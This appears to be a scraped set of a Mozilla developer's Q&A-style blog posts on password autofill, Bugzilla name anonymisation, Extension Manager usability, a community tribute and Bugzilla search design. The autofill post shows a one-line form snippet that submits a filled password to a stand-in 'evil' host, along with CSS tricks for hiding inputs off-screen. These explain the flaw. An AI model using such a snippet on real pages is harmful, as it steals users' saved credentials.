OpenSolaris Draft DTS requirements Annotated BODY, P, DIV, H1, H2, H3, H4, H5, H6, ADDRESS, OL, UL, TITLE, TD, OPTION, SELECT { font-family: Verdana;

But I don't like it when people steal my password! But I don't like it when people steal my password!

What should you do if you can't trust your web sites?

You have bigger problems, Hold them accountable.

Aren't you using a password manager?

It seems you are...

Why would you choose to use the same password on multiple servers?

:) I'm a proponent of using randomly generated per account passwords

Is that the bug from slashdot?

Yes, yes, the /. bug

It's a site bug. Why people complain about web browsers is beyond me.

Can you elaborate?

If the web site can give you a login form that looks correct. Who cares if your web browser might give it the password.

Epiphany from FC6 is vulnerable, rcsr1

You might give the password to the site anyway.

Am I arguing that auto fill in of passwords for pages on the wrong domains is NOT a bug?

Indeed, I'm arguing that it is not the core bug.

Fundamentally, I don't care if my browser happens to do it. If the web server lets me be tricked, it's not the browser's fault; It's the web-master's fault. Further, if no web sites you trust are messed up, then the fact that the web browser has this behavior is not a problem.

Is mozilla entering saved passwords on pages not originating on the server you saved it for?

No, it doesn't do that. The issue is that the passwords are restored based on the url for the page. Not based on some random destination to which the page might choose to send the password.

Why isn't the form target url considered?

It's utterly pointless; and it'll break Gmail, Passport, and most single sign on systems. Imagine I have:

<form><input id="password" type="hidden" onchange="form.action='http://evil/sendit';form.submit()">

There's no action associated w/ the form when it is filled. This isn't actually that uncommon....

So basically mozilla is auto-entering passwords for form fields, regardless from the url it's being sent to?

Right, it can't know where it's going, that's decided much later and is subject to change randomly. Oh and btw, the web page could encode the password into an image url and just ask for that url instead, there is no real requirement that it submit a real form.

If the page you go to isn't trustworthy, then your problem is that the page isn't trustworthy. It really is that simple.

Is a workaround is not to fill in passwords in invisible form entries?

No

Solving the "is this hidden" question is hard:

 <input style="left:-100px; top:-100px">
 <input style="z-order:-1">

Oh, it might be as well a visible element with position:absolute left: -1000px; top: -1000px;?

Good, you're getting the idea, the point is that the web sites you visit must be trustworthy. And if they aren't, you need to scream loudly at them, or take your business elsewhere.

So the "bug" is mostly a website problem, but helped by a "browser feature"?

Right.

The worst scourge The worst scourge

I know bugzilla.gnome.org uses points... currently when I visit BGO, it shows me a real name and a point category.

I'm unfortunately in a position where I want to only show real names to people if:

1. The person being shown specifically blesses the person/person's group
2. The person observing and the person being observed are relatively "close" as measured by point categories

If neither apply then instead of seeing real names, you'd see point-category-person-A with the letters (A, B, ...) being given out sequentially to accounts involved in the bug. Letters would only be uniquely assigned to accounts for individual bugs.

OK, point categories...

• probably assigned as ranges say 1..5, 6..10, 11..15, 16..20, ...
• possibly re-centered based on the observer.

The goal is to obfuscate who is doing what without actually hurting a user's ability to interact with people. The problem is basically that we have some people who are known for making changes from which other people can financially benefit.

<marnanel> gosh, how exciting. covert subterfuge and stuff.

Imagine you were able to watch people entering and leaving:

E Capitol St NE & 1st St NE, Washington, DC 20001

And from there you could figure out what is happening inside, without looking, and then you could do something which would earn you money/fame/fortune - unfortunately, harming the world in the process.

<marnanel> this is bugzilla.fbi.gov or something? :)

The hypothesis is that you wouldn't be able to do this if you couldn't see the faces of the people. The problem is that if you can't see any of the faces at all, then you don't know who is at least somewhat important. It's OK to recognize the difference between a clerk and a cleaner and an elected rep. I need to give a parallel to my problem w/o explicitly writing it.

I think the parallel works reasonably well.

Extension Manager Extension Manager

I'm sure that the Addons Manager is better. But sometimes I'm an end user.

Take a look at this picture and study it for a bit. Pretend you're an end user an answer these questions:

What ordering scheme is it using for this list?

I have no idea.

If you don't like this question, let me try again. Pretend you're an end user and you're looking for an extension and you know its name.

How would you find the XHML Mobile Profile extension in this list?

Because of the fact that I can't figure out the ordering scheme, it looks like I'm going to have to read all of them.

How would you find all extensions relating to CSS?

Hrm, looks like you're going to have to read each of:

1. The name
2. The contract (for all you know it's css@vendor and the name and description don't have css).
3. The description
4. The ICON!

For a moment, pretend you're blind (if this isn't politically correct, contact me with alternate wording).

Is it at all possible for you to find all the CSS related extensions?

I believe the answer is no. :(, I'm sorry.

Are you sure you don't have to read the version field too?

Nope, I'm not at all sure given that there seems to be quite a lot of diversity among the version fields.

Are any of these extensions in unusual states?

As it happens, two of them are, but I'm not sure anyone could easily figure it out. I'll ask some people and see.

Why is the window so wide?

I'm glad you asked. If I didn't make it wider, you couldn't see all the text for one of those rows.

Whose fault is that?

Well, you could claim that the author wrote a bad description. But people prefer to complain about firefox not behaving well when outragious things happen.

What version am I runnning?

You mean you can't tell?

I guess you can't, heh. This is Firefox 1.5.0.5 Official. I'd make a picture but the last time i tried to do that, the results weren't particularly stunning.

What does the extension manager normally look like?

Proposal for a Community Relations Manager Proposal for a Community Relations Manager

An Ode to Asa An Ode to Asa

Sometimes you don't realize how important someone or something is until it is long gone. Asa predates my involvement with mozilla, and he has served many roles since I started contributing.

We actually spent time at XTech this year talking about some of his various roles, and there are many. This article is about one of his earliest roles. That of a Community Relations Manager. For many people who started their involvement with Mozilla between 1998 and 2002, Asa was probably the first person with whom they interacted. I think it's fairly safe to say that most people when asked to recall their first experience will indicate that it was a good one thanks to Asa. Asa has a number of talents and skills. He's friendly, personable, and charismatic. He would also spend time helping and he was knowledgable and known and respected. He still is these things. Unfortunately, he outgrew this position and has moved on to bigger and better things. In some ways this is our loss. Asa in each of his roles is irreplacable. And looking back, indeed no one has filled those roles.

What did Asa do?

• He certainly introduced people to the people who they needed to meet.
• He definitely helped people get to know the tools that they needed to use.
• He especially generated positive experiences and provided encouragement.

What do we need?

<a crm>

Fewer things with more variety is better Fewer things with more variety is better

What would be better?

A better solution is only at most 4 search fields, that section has 11. Each search field would be:

[ Build Tested  |v] [contains the string      |v] [                    ]
[ Build Verified|v] [contains all the strings |v] [                    ]
[ Use Case      |v] [matches the regexp       |v] [                    ]
[ Steps         |v] [doesn't match the regexp |v] [                    ]

That's it. Not more than 4. Note that the 4 should not default to the same things.

Why shouldn't the fields default to the same values?

So that the user sees at least a hint of what can be selected.

Should the search fields match the default install configuration each time the page loads?

No. Search fields that the user uses should be remembered. Fields the user doesn't use should actually cycle.

Why should the unused fields cycle?

The goal is to slowly inform the user about other searchable fields.

qa-bugzilla.example.com/query.cgi qa-bugzilla.example.com/query.cgi well, you can now see the default query format.

<>

Doesn't "the red outlined block there look horrible"?

Absolutely. in fact, i'm not sure there's a single good thing about the entire site. except for the fact that it shows all the usability and scalability bugs of bugzilla. it's a very very good lesson in what not to do and what can go wrong. note that the heart of the system really isn't that bad. it's just terribly implemented.

What if the search for "Build Tested" Build Verified, used a dropdown for values?

The problem with that suggestion is what if i want to search for build tested contains any of e.g. build tested 100, 101, 102, 103, but not 99 or 104. The stupid ui they have atm supports that, a "prettier" ui doesn't. now, a multiselect list would handle that.

What would be better?

A better solution is only at most 4 search fields, that section has 11. Each search field would be:

[ Build Tested  |v] [contains the string |v] [                    ]
[ Build Verified|v] [contains the string |v] [                    ]
[ Use Case      |v] [contains the string |v] [                    ]
[ Steps         |v] [contains the string |v] [                    ]

That's it. Not more than 4. Note that the 4 should not default to the same things.

Why shouldn't the fields default to the same values?

So that the user sees at least a hint of what can be selected.

Should the search fields match the default install configuration each time the page loads?

No. Search fields that the user uses should be remembered. Fields the user doesn't use should actually cycle.

Why should the unused fields cycle?

The goal is to slowly inform the user about other searchable fields.